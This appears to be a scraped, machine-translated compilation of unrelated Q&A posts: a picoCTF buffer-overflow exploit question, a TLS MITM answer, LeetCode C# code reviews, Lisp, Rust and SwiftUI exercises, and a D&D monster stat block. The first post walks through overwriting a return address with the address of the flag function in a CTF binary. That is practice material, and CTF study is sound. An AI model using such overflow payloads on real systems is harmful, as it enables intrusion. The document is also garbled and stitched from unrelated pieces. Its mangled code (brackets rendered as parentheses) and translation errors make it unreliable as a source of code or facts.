ctf – how to install pwn in remote shell in picoctf challenge?

I'm doing the challenge of picoctf 2019 but there is a problem that I face for days that every time I try to exploit the original application and want to get the flag, remote housing gives me a message that pwn is not installed. Although it is installed but does not work in remote shell.

bilal@Awaiss-iPhone:~/Downloads$ python -c "print('A'*82)" | ./vuln
Woah, were jumping to 0x41414141 !

bilal@Awaiss-iPhone:~/Downloads$ python3
>>> from pwn import *
>>> cyclic(100)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas

bilal@Awaiss-iPhone:~/Downloads$ ./vuln
Give me a string and lets see what happens:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Woah, were jumping to 0x61616174!

bilal@Awaiss-iPhone:~/Downloads$ python3
>>>from pwn import *
>>>cyclic_find(p32(0x61616174))

bilal@Awaiss-iPhone:~/Downloads$ python3 -c "print('A'*76+'B'*6)" | ./vuln
Woah, were jumping to 0x42424242 !

bilal@Awaiss-iPhone:~/Downloads$ python3
>>>vuln = ELF('./vuln')
(*) '/home/bilal/Downloads/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

>>>p32(vuln.symbols('flag'))
   b'xe6x85x04x08'

To overflow it

bilal@Awaiss-iPhone:~/Downloads$ python3 -c "from pwn import *; print('A'*76+'xe6x85x04x08')" 
| ./vuln     
Give me a string and lets see what happens: 
Woah, were jumping to 0x85c2a6c3 !

Remote shell

redmailers@pico-2019-shell1:/problems/overflow-1_3_f08d494c74b95dae41bff71c2a6cf389$ python3 -c 
"from pwn import *; print('A'*76+'xe6x85x04x08')" | ./vuln
Give me a string and lets see what happens: 
Traceback (most recent call last):                                                                                                                                    
  File "", line 1, in                                                                                                                                 
ModuleNotFoundError: No module named 'pwn'                                                                                                                            
Woah, were jumping to 0x8048705 !  

tls – Is the ACME HTTP-01 challenge safe against MITMs?

In fact, the WebPKI is a cached distributed first-use trust system. A CA is hosted very close to the Internet backbone, and good CAs perform multi-perspective checks, which means they are hosted in multiple places around the world, each location connected near the Internet backbone, and run the check DNS or HTTP validation from multiple locations. .

If you are in a cyber cafe with hijacked WiFi and you try to make TOFU, you will get MiTM & # 39; d. But the connection between, say, AWS and GCP is much more difficult for MiTM – that traffic can probably only be MiTM & # 39; d by Amazon, Google, a Tier 1 ISP and the NSA.

Suppose that any sovereign national government can make a MiTM connection between any server physically hosted within your country and a server outside the country. So if p. Turkey wanted MiTM any server in Turkey can. The Turkish government can also order a Turkish CA to issue certificates that all browsers trust.

Protection against a MiTM-deceived certification authority is the same as protection against a certification authority that has been modified and hacked by a certification authority: certificate transparency records will show a certificate for your domain that you did not authorize. If this is noticed and reported this will lead to the CA being attacked from orbit, live at mozilla.dev.security.policy. You can monitor the main trusted certificate transparency records for your domains (or pay someone to do it for you or someone else).

programming challenge – LeetCode: Median C # Minheap + MaxHeap sliding window

https://leetcode.com/problems/sliding-window-median/

Please check for performance. and coding style, no need to check maximum and minimum heaps.

median is the mean of the two mean values.

Examples: (2,3,4), the median is 3

(2,3), the median is (2 + 3) / 2 = 2.5

Given a set of numbers, there is a sliding window of size k that is
moving from the left of the matrix to the right. You can only
See the k numbers in the window. Every time the sliding window is moved
right in one position. Your job is to generate the median matrix for each
window in the original matrix.

For example, given nums = (1,3, -1, -3,5,3,6,7) and k = 3.

enter the image description here

So return the median sliding window as (1, -1, -1,3,5,6).

Note: You can assume that k is always valid, that is: k is always smaller than
size of the input array for the non-empty array. Answers within 10 ^ -5 of
The actual value will be accepted as correct.

TESTS

    /// 
    /// https://leetcode.com/problems/sliding-window-median/
    /// 
    (TestClass)
    public class SlidingWindowMedianTest
    {
        (TestMethod)
        public void ExampleTest()
        {
            int() nums = { 1, 3, -1, -3, 5, 3, 6, 7 };
            int k = 3;
            double() expected = { 1, -1, -1, 3, 5, 6 };

            SlidingWindowMedianWith2Heaps heaps = new SlidingWindowMedianWith2Heaps();
            var res = heaps.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }

        (TestMethod)
        public void ExampleTestFailed()
        {
            int() nums = { 1, 4, 2, 3 };
            int k = 4;
            double() expected = { 2.5 };

            SlidingWindowMedianWith2Heaps heaps = new SlidingWindowMedianWith2Heaps();
            var res = heaps.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }

        (TestMethod)
        public void ExampleTestOverFlow()
        {
            int() nums = { 2147483647, 2147483647 };
            int k = 2;
            double() expected = { 2147483647.0 };

            SlidingWindowMedianWith2Heaps heaps = new SlidingWindowMedianWith2Heaps();
            var res = heaps.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }

        (TestMethod)
        public void ExampleFailed2()
        {
            int() nums = { 5, 2, 2, 7, 3, 7, 9, 0, 2, 3 };
            int k = 9;
            double() expected = { 3.0, 3.0 };

            SlidingWindowMedianWith2Heaps heaps = new SlidingWindowMedianWith2Heaps();
            var res = heaps.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }
    }

CODE Answering the question

public class SlidingWindowMedianWith2Heaps
    {
        public BinaryMaxHeap MaxHeap;
        public BinaryMinHeap MinHeap;

        public double() MedianSlidingWindow(int() nums, int k)
        {
            MaxHeap = new BinaryMaxHeap(k);
            MinHeap = new BinaryMinHeap(k);
            int n = nums.Length - k + 1;
            if (n <= 0)
            {
                return new double(n);
            }

            var result = new double(n);

            for (int i = 0; i <= nums.Length; i++)
            {
                if (i >= k)
                {
                    result(i - k) = GetMedian();
                    Remove(nums(i - k));
                }

                if (i < nums.Length)
                {
                    Add(nums(i));
                }
            }

            return result;
        }

        private void Add(int num)
        {
            if (num < GetMedian())
            {
                MaxHeap.InsertKey(num);
            }
            else
            {
                MinHeap.InsertKey(num);
            }

            if (MaxHeap.Count > MinHeap.Count)
            {
                MinHeap.InsertKey(MaxHeap.ExtractMax());
            }

            if (MinHeap.Count - MaxHeap.Count > 1)
            {
                MaxHeap.InsertKey(MinHeap.ExtractMin());
            }
        }

        private void Remove(int num)
        {
            if (num < GetMedian())
            {
                MaxHeap.DeleteKey(num);
            }
            else
            {
                MinHeap.DeleteKey(num);
            }

            if (MaxHeap._heapSize > MinHeap._heapSize)
            {
                MinHeap.InsertKey(MaxHeap.ExtractMax());
            }

            if (MaxHeap._heapSize - MinHeap._heapSize > 1)
            {
                MaxHeap.InsertKey(MinHeap.ExtractMin());
            }
        }

        private double GetMedian()
        {
            if (MaxHeap.Count == 0 && MinHeap.Count == 0)
            {
                return 0;
            }

            if (MaxHeap.Count == MinHeap.Count)
            {
                return (MaxHeap.GetMax() + (double) MinHeap.GetMin()) / 2.0;
            }
            else
            {
                return MinHeap.GetMin();
            }
        }
    }

MaxHeap

public class BinaryMaxHeap
    {
        private readonly int() _heapArr;
        private readonly int _capacity;
        public uint _heapSize; //current size of heap

        public BinaryMaxHeap(int capacity)
        {
            _capacity = capacity;
            _heapSize = 0;
            _heapArr = new int(capacity);
        }

        public void InsertKey(int key)
        {
            if (_heapSize == _capacity)
            {
                throw new StackOverflowException("overflow can't insert key");
            }

            //insert the new key at the end
            _heapSize++;
            uint i = _heapSize - 1;
            _heapArr(i) = key;

            // fix the heap as max heap
            // Fix the max heap property if it is violated
            while (i != 0 && _heapArr(Parent(i)) < _heapArr(i)) //bubble is generic specific
            {
                Swap(i, Parent(i));
                i = Parent(i);
            }

        }
        public int ExtractMax()
        {
            if (_heapSize <= 0)
            {
                return 0;
            }
            if (_heapSize == 1)
            {
                _heapSize--;
                return _heapArr(0);
            }

            // Store the minimum value, and remove it from heap
            int root = _heapArr(0);
            _heapArr(0) = _heapArr(_heapSize - 1);
            _heapSize--;
            Heapify(0);
            return root;
        }

        private void Heapify(uint i)
        {
            uint l = Left(i);
            uint r = Right(i);
            uint largest = i;
            if (l < _heapSize &&   _heapArr(i) < _heapArr(l))
            {
                largest = l;
            }
            if (r < _heapSize &&   _heapArr(largest) < _heapArr(r))
            {
                largest = r;
            }
            if (largest != i)
            {
                Swap(i, largest);
                Heapify(largest);
            }
        }

        private void Swap(uint key1, uint key2)
        {
            int temp = _heapArr(key2);
            _heapArr(key2) = _heapArr(key1);
            _heapArr(key1) = temp;
        }
        private uint Parent(uint i)
        {
            return (i - 1) / 2;
        }

        private uint Right(uint i)
        {
            return 2 * i + 2;
        }

        private uint Left(uint i)
        {
            return 2 * i + 1;
        }

        public int GetMax()
        {
            return _heapArr(0);
        }

        public uint Count
        {
            get { return _heapSize; }
        }


        public void DeleteKey(int key)
        {
            uint index = 0;
            for (uint i = 0; i < _heapSize; i++)
            {
                if (_heapArr(i) == key)
                {
                    index = i;
                    break;
                }
            }
            DeleteKeyAtIndex(index);
        }
        /// 
        /// This function deletes key at index index. It first increases value to plus
        /// infinite, then calls extractMax()
        /// 
        private void DeleteKeyAtIndex(uint index)
        {
            IncreaseKey(index, int.MaxValue);
            ExtractMax();
        }

        private void IncreaseKey(uint i, int newValue)
        {
            _heapArr(i) = newValue;
            while (i != 0 && _heapArr(Parent(i)) < _heapArr(i)) //bubble is generic specific
            {
                Swap(i, Parent(i));
                i = Parent(i);
            }
        }
    }

MinHeap

public class BinaryMinHeap
    {
        private readonly int() _heapArr;// pointer to array of elements in heap
        private readonly int _capacity; // maximum possible size of min heap
        public uint _heapSize; // Current number of elements in min heap

        public BinaryMinHeap(int capacity)
        {
            _capacity = capacity;
            _heapSize = 0;
            _heapArr = new int(capacity);
        }

        public void InsertKey(int key)
        {
            if (_heapSize == _capacity)
            {
                throw new StackOverflowException("overflow can't insert key");
            }

            //insert the new key at the end
            _heapSize++;
            uint i = _heapSize - 1;
            _heapArr(i) = key;

            //fix the heap  as min heap
            // Fix the min heap property if it is violated
            while (i != 0 && _heapArr(Parent(i)) > _heapArr(i)) //bubble is generic specific
            {
                Swap(i, Parent(i));
                i = Parent(i);
            }
        }


        public void DeleteKey(int key)
        {
            uint index = 0;
            for (uint i = 0; i < _heapSize; i++)
            {
                if (_heapArr(i) == key)
                {
                    index = i;
                    break;
                }
            }
            DeleteKeyAtIndex(index);
        }
        /// 
        /// This function deletes key at index index. It first reduced value to minus
        /// infinite, then calls extractMin()
        /// 
        public void DeleteKeyAtIndex(uint index)
        {
            DecreaseKey(index, int.MinValue);
            ExtractMin();
        }

        public void DecreaseKey(uint i, int newValue)
        {
            _heapArr(i) = newValue;
            while (i != 0 && _heapArr(Parent(i)) > _heapArr(i)) //bubble is generic specific
            {
                Swap(i, Parent(i));
                i = Parent(i);
            }
        }
        /// 
        /// you switch the root with the last index in the array, the end of the heap
        /// and you heapify the root node.
        /// 
        /// 
        public int ExtractMin()
        {
            if (_heapSize <= 0)
            {
                return int.MaxValue;
            }
            if (_heapSize == 1)
            {
                _heapSize--;
                return _heapArr(0);
            }

            // Store the minimum value, and remove it from heap
            int root = _heapArr(0);
            _heapArr(0) = _heapArr(_heapSize - 1);
            _heapSize--;
            Heapify(0);
            return root;
        }
        /// 
        /// the first call is done with index 0,
        /// since this is recursive function you compare to right subtree and left subtree
        /// you choose the lower node and swap the root with it, than you call
        /// the same function from the last index you swapped with
        /// 
        /// 
        private void Heapify(uint i)
        {
            uint l = Left(i);
            uint r = Right(i);
            uint smallest = i;
            if (l < _heapSize && _heapArr(l) < _heapArr(i))
            {
                smallest = l;
            }
            if (r < _heapSize && _heapArr(r) < _heapArr(smallest))
            {
                smallest = r;
            }
            if (smallest != i)
            {
                Swap(i, smallest);
                Heapify(smallest);
            }
        }

        private uint Right(uint i)
        {
            return 2 * i + 2;
        }

        private uint Left(uint i)
        {
            return 2 * i + 1;
        }

        private uint Parent(uint i)
        {
            return (i - 1) / 2;
        }

        private void Swap(uint key1, uint key2)
        {
            int temp = _heapArr(key2);
            _heapArr(key2) = _heapArr(key1);
            _heapArr(key1) = temp;
        }

        public int GetMin()
        {
            return _heapArr(0);
        }
        public uint Count
        {
            get { return _heapSize; }
        }
    }

programming challenge – LeetCode: Median C # Sliding Window

https://leetcode.com/problems/sliding-window-median/

The median is the mean value in an ordered integer list. If the size of
the list is even, there is no mean value. So the median is the mean
of the two mean values.

Examples: (2,3,4), the median is 3

(2,3), the median is (2 + 3) / 2 = 2.5

Given a set of numbers, there is a sliding window of size k that is
moving from the left of the matrix to the right. You can only
See the k numbers in the window. Every time the sliding window is moved
right in one position. Your job is to generate the median matrix for each
window in the original matrix.

For example, given nums = (1,3, -1, -3,5,3,6,7) and k = 3.

enter the image description here

So return the median sliding window as (1, -1, -1,3,5,6).

Note: You can assume that k is always valid, that is: k is always smaller than
size of the input array for the non-empty array. Answers within 10 ^ -5 of
The actual value will be accepted as correct.

Please check for performance. Also, I'm not sure about the GetID function. Is there a smarter way to get the same result from a unique number and median ranking?

using System;
using System.Collections.Generic;
using Microsoft.VisualStudio.TestTools.UnitTesting;

namespace TreeQuestions
{
    /// 
    /// https://leetcode.com/problems/sliding-window-median/
    /// 
    (TestClass)
    public class SlidingWindowMedianTest
    {
        (TestMethod)
        public void ExampleTest()
        {
            int() nums = { 1, 3, -1, -3, 5, 3, 6, 7 };
            int k = 3;
            double() expected = { 1, -1, -1, 3, 5, 6 };
            double() res = SlidingWindowMedian.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }

        (TestMethod)
        public void ExampleTestFailed()
        {
            int() nums = { 1, 4, 2, 3 };
            int k = 4;
            double() expected = { 2.5 };
            double() res = SlidingWindowMedian.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }

        (TestMethod)
        public void ExampleTestOverFlow()
        {
            int() nums = { 2147483647, 2147483647 };
            int k = 2;
            double() expected = { 2147483647.0 };
            double() res = SlidingWindowMedian.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }

        (TestMethod)
        public void ExampleFailed2()
        {
            int() nums = { 5, 2, 2, 7, 3, 7, 9, 0, 2, 3 };
            int k = 9;
            double() expected = { 3.0, 3.0 };
            double() res = SlidingWindowMedian.MedianSlidingWindow(nums, k);
            CollectionAssert.AreEqual(expected, res);
        }
    }



    public class SlidingWindowMedian
    {
        public static double() MedianSlidingWindow(int() nums, int k)
        {
            var res = new List();
            var med = new SortedList();
            for (int i = 0; i < nums.Length; i++)
            {
                med.Add(GetId(i, nums), nums(i));
                if (med.Count > k)
                {
                    med.Remove(GetId(i - k, nums));
                }

                if (med.Count == k)
                {
                    if (k % 2 == 0)
                    {
                        res.Add( ((long)med(med.Keys(k / 2 - 1))  + med(med.Keys(k / 2)))/2.0 );
                    }
                    else
                    {
                        res.Add(med(med.Keys(k / 2)));
                    }
                }
            }
            return res.ToArray();

        }

        private static long GetId(int i, int() nums)
        {
            return Convert.ToInt64(nums(i)) * nums.Length + i;
        }
    }

}

common lisp: my solution to the 100 prisoners challenge

I ran into the 100 prisoners problem in the Rosetta Code. I thought it would be fun to add a Common Lisp solution, see below.

Before posting my solution, I'd like to receive feedback on my code. I have used to-do lists because I think it is more natural in CL and performance is not a problem here.

Thank you for your comments!

(defparameter *samples* 10000)
(defparameter *prisoners* 100)
(defparameter *max-guesses* 50)

(defun range (n)
  "Returns a list from 0 to N."
  (loop
     for i below n
     collect i))

(defun nshuffle (list)
  "Returns a shuffled LIST."
  (loop
     for i from (length list) downto 2
     do (rotatef (nth (random i) list)
                 (nth (1- i) list)))
  list)

(defun build-drawers ()
  "Returns a list of shuffled drawers."
  (nshuffle (range *prisoners*)))

(defun strategy-1 (drawers p)
  "Returns T if P is found in DRAWERS under *MAX-GUESSES* using a random strategy."
  (loop
     for i below *max-guesses*
     thereis (= p (nth (random *prisoners*) drawers))))

(defun strategy-2 (drawers p)
  "Returns T if P is found in DRAWERS under *MAX-GUESSES* using an optimal strategy."
  (loop
     for i below *max-guesses*
     for j = p then (nth j drawers)
     thereis (= p (nth j drawers))))

(defun 100-prisoners-problem (strategy &aux (drawers (build-drawers)))
  "Returns T if all prisoners find their number using the given STRATEGY."
  (every (lambda (e) (eql T e))
         (mapcar (lambda (p) (funcall strategy drawers p)) (range *prisoners*))))

(defun sampling (strategy)
  (loop
     repeat *samples*
     for result = (100-prisoners-problem strategy) 
     count result))

(defun compare-strategies ()
  (format t "Using a random strategy in ~4,2F % of the cases the prisoners are free.~%" (* (/ (sampling #'strategy-1) *samples*) 100))
  (format t "Using an optimal strategy in ~4,2F % of the cases the prisoners are free.~%" (* (/ (sampling #'strategy-2) *samples*) 100)))

programming challenge – LeetCode: DFS network delay time solution C #

https://leetcode.com/problems/network-delay-time/

There are N network nodes, labeled 1 to N.

Given times, a list of travel times as directed edge times (i) = (u,
v, w), where u is the origin node, v is the destination node and w is the
time it takes for a signal to travel from origin to destination.

Now, we send a signal from a certain node K. How long will it take?
All nodes to receive the signal? If impossible, return -1.

Input: times = ((2,1,1),(2,3,1),(3,4,1)), N = 4, K = 2
Output: 2

enter the description of the image here

Check the performance, I know I can solve this with the Dijkstra algorithm and the Bellman ford.
I am still working on that. and upload them for review.

using System;
using System.Collections.Generic;
using System.Timers;
using Microsoft.VisualStudio.TestTools.UnitTesting;

namespace GraphsQuestions
{
    /// 
    /// https://leetcode.com/problems/network-delay-time/
    /// 
    (TestClass)
    public class NetworkDelayTimeTest
    {
        (TestMethod)
        public void ExampleTest()
        {
            int N = 4;
            int K = 2;
            int()() times = { new() { 2, 1, 1 }, new() { 2, 3, 1 }, new() { 3, 4, 1 } };
            NetWorkDelayTimeDfs dfs = new NetWorkDelayTimeDfs();
            Assert.AreEqual(2, dfs.NetworkDelayTime(times, N, K));
        }
    }

    public class NetWorkDelayTimeDfs
    {
        private Dictionary dist;

        public int NetworkDelayTime(int()() times, int N, int K)
        {
            var graph = new Dictionary>>();
            //we build a dictionary
            // key = from vertex
            // values - weight and destination
            foreach (var edge in times)
            {
                if (!graph.TryGetValue(edge(0), out var temp))
                {
                    temp = graph(edge(0)) = new List>();
                }

                temp.Add(new List {edge(2), edge(1)});
            }

            // we sort by the weight
            foreach (var node in graph)
            {
                node.Value.Sort((a, b) => a(0) - b(0));
            }

            // all the edges get max value
            dist = new Dictionary();
            for (int i = 1; i <= N; i++)
            {
                dist.Add(i, int.MaxValue);
            }

            DFS(graph, K, 0);

            // we compute the max distance.
            // if one of the edges equals int.max
            // we can't reach it so we return -1;
            int ans = 0;
            foreach (var cand in dist.Values)
            {
                if (cand == int.MaxValue)
                {
                    return -1;
                }

                ans = Math.Max(ans, cand);
            }

            return ans;
        }

        private void DFS(Dictionary>> graph, int node, int elapsed)
        {
            //if the distance bigger then what we already have for this node.
            // return there is nothing to update
            if (elapsed >= dist(node))
            {
                return;
            }

            dist(node) = elapsed;
            if (graph.ContainsKey(node))
            {
                //we run DFS to all the other nodes
                //we update the total distance to elapsed + weight
                foreach (var info in graph(node))
                {
                    DFS(graph, info(1), elapsed + info(0));
                }
            }
        }
    }

}

programming challenge – Euler Project 11 (largest product in a grid)

I am challenging the Euler 100 Project to learn Rust. I still have many places where the loan inspector slapped me, but that was to be expected; I usually just do what the compiler says and he is happy. I think I'm working slowly to understand it.

However, one thing that is a constant and unexpected pain is to write whole numbers. It is not clear to me how you are supposed to deal with the whole types in practice, and what I am doing now is so ugly that it must be wrong. So what is the preferred way to do this? Is there any better way than as convert basic integer types?

Here are the guts of my solution of problem 11 of the Euler Project: (The complete solution is in my GitHub repository)

fn find_elem(grid: &(Vec), locx: usize, locy: usize) -> u64 {
    if locx < grid.len() {
        if locy < grid(locx).len() {
            return grid(locx)(locy);
        }
    }
    0
}

fn add(lft: usize, rgt: i32) -> usize {
    // Returns 999 on negative
    let ret1: i64 = (lft as i64) + (rgt as i64);
    if ret1 < 0 {
        return 999;
    }
    ret1 as usize
}

fn search_grid(grid: &(Vec)) -> u64 {
    let mut max_found = 0;
    for direction in ((1, 0), (1, 1), (0, 1), (-1, 1)).iter() {
        for startx in 0..grid.len() {
            for starty in 0..grid(startx).len() {
                let result = find_elem(grid, startx, starty)
                    * find_elem(grid, add(startx, direction.0), add(starty, direction.1))
                    * find_elem(
                        grid,
                        add(startx, 2 * direction.0),
                        add(starty, 2 * direction.1),
                    )
                    * find_elem(
                        grid,
                        add(startx, 3 * direction.0),
                        add(starty, 3 * direction.1),
                    );
                if result > max_found {
                    max_found = result;
                }
            }
        }
    }
    max_found
}

It was at the time that I was doing my own function just to make an addition that I began to suspect that I had left the rails. There has to be a better way.

Also, if someone could tell me how to correctly pass a two-dimensional array in Rust (I could change the outer layer to &()but I didn't know how to change the inner layer of being a Vec), that would be good.

swiftui – 100DaysofSwiftUI – Project 1 – Challenge 1: Convert temperature units: Celsius, Fahrenheit and Kelvin

This is my code to solve the challenge in 100 Days of SwiftUI by Paul Hudson. This is the first challenge of the series and I chose to convert the temperature units from C ° -> F °, F ° -> C °, C ° -> K ° and K ° -> C °

I have to ask, can you read this code and if it is necessary to change / modify it to be more efficient?

import SwiftUI

struct ContentView: View {
    @State private var inputTemp = ""
    @State private var inputUnit = 0
    @State private var outputUnit = 0

    let inputUnits = ("C", "F", "K")
    let outputUnits = ("C", "F", "K")

    var convertedDegreeC2F: Int {
        guard let inputDegree = Int(inputTemp) else { return 0 }
        let convertC2F = Int(inputDegree/5*9+32)
        let convertF2C = Int((inputDegree-32)*5/9)
        let convertC2K = Double(inputDegree) + 273.15
        let convertK2C = Double(inputDegree) - 273.15

        if inputUnit == 0 && outputUnit == 1 {
           return convertC2F
        } else if inputUnit == 1 && outputUnit == 0 {
            return convertF2C
        } else if inputUnit == 0 && outputUnit == 2 {
            return Int(convertC2K)
        } else if inputUnit == 2 && outputUnit == 0 {
            return Int(convertK2C)
        }

        return 0
    }

    var body: some View {
        NavigationView {
            Form {
                Section {
                    TextField("Input Temperature", text: $inputTemp)
                        .keyboardType(.decimalPad)
                }
                Section(header: Text("Select input unit:" )) {
                    Picker("Input Unit", selection: $inputUnit) {
                        ForEach(0..

dnd 5e – How would a significant improvement skill affect the challenge rating (modified statistics block)

I am preparing a creature that has the ability to summon things that improve its attacks and gives it resistance / immunity. The statistics block is shown below.

Huge monstrosity, unaligned

Class 17 armor (natural armor)
Hit points 479 (29d12 + 290)
Speed ​​15 feet.

STR 24 (+7) DEX 10 (+0) FRAUD 30 (+10)IN T 3. 4) WIS 10 (+0) CHA 7 (-2)

Shot Saving STR +14, WITH +15, WIS +7

Abilities Intimidation +17, Perception +14

Damage Immunities Poison
Condition Immunities Blinded, deaf, scared, poisoned
Darkvision Senses 60 feet, Passive Perception 14
Languages
Challenge 24 (62,000 XP)

Amphibian. Toadstool can breathe air and water.
Fungal body. Any critical hit against toadstool counts as a normal hit.
Strong. Toadstool becomes more powerful depending on the amount of spore caps summoned, as seen below.
1-4: Toadstool deals 1d10 of additional poison damage in all attacks, can release an additional boomshroom.
5-7: Toadstool inflicts an additional 2d10 poison damage in attacks, gains resistance to all damage by punching, cutting and patting non-magical attacks, and can release 2 additional boomshrooms.
8+: Toadstool inflicts additional 3d10 poison damage in attacks, gains immunity to all damage by punching, cutting and blunt damage from non-magic attacks, resistance to all punch damage, cutting and blunt damage from magic attacks, and can release 3 additional boomshrooms.
Toadstool must be less than 30 feet from the spore caps to get these benefits.

Behavior

Multi attack The toadstool performs three attacks, one with its bite and two other actions.
Bite. Melee weapon attack: +15 when hitting, reaching 5 feet, one target. Impact: 22 (3d10 + 6) of penetrating damage, and the target is swallowed if it is a medium or smaller creature. A swallowed creature is blinded and restricted, has full coverage against attacks and other effects outside the toadstool, and receives 10 (3d6) of acid damage at the beginning of each toadstool turn. Toadstool throat can contain up to two creatures at a time. If the toadstool takes 20 or more damage in a single turn from a creature inside, the toadstool must succeed in a save shot of the Constitution of DC 20 at the end of that turn or regurgitate all swallowed creatures, each of which falls prone in a space within 10 feet of the toadstool. If the toadstool dies, a swallowed creature is no longer contained by it and can escape the corpse using 10 feet of movement, leaving prone.
Sporecap (Recharge 4-6) Toadstool can use its action to invoke 1d4 sporecaps. Spores are large fungi the size of a tree. The spore caps polish the toadstool. The number of spore caps determines how powerful the toadstool is. These spore caps have 40 (3d10 + 24) hit points each.
Boomshroom The toadstool launches 4 (1d8) Boomshrooms. Boomshrooms are small mushrooms that grow and explode, and any creature less than 5 feet away receives 12 (2d12) of poison damage.

Pound of land The toadstool can jump to the ground, and any creature within 25 feet of it must succeed in a DC 15 Dexterity save shot, which receives 27 (3d12 + 7) of blunt damage in a failed save, or half of it. exit. This radius becomes difficult terrain. Toadstool ignores difficult terrain.

Legendary actions

Toadstool can perform 3 legendary actions, choosing from the following options. Only one legendary action option can be used at a time and only at the end of another creature's turn. Toadstool recovers legendary actions spent at the beginning of its turn.

Spore bomb The toadstool binds a spore to a creature of its choice within 20 feet of it. This spore explodes at the end of the next turn of the target, creating a radius of 10 feet of necrotic gas for 1 minute. Anyone entering the cloud space suffers 13 (3d8) of necrotic damage for each round that passes its turn inside the gas.
Land Pound (costs 2 shares) Toadstool uses its pound of land.

dnd 5e: How would a major improvement skill affect the challenge rating?

So I am preparing a creature that has the ability to summon things that improve its attacks and give it resistance / immunities. The skill is shown below.

Strong. Toadstool becomes more powerful depending on the amount of spore caps summoned, as seen below.

1-4: Toadstool deals 1d10 of additional poison damage in all attacks, can release an additional boomshroom.

5-7: Toadstool inflicts an additional 2d10 poison damage in attacks, gains resistance to all damage by punching, cutting and patting non-magical attacks, and can release 2 additional boomshrooms.

8+: Toadstool inflicts additional 3d10 poison damage in attacks, gains immunity to all damage by punching, cutting and blunt damage from non-magic attacks, resistance to all punch damage, cutting and blunt damage from magic attacks, and can release 3 additional boomshrooms.

Each spore cap has 10 hit points.
How would this ability affect the final grade of the challenge? Please help!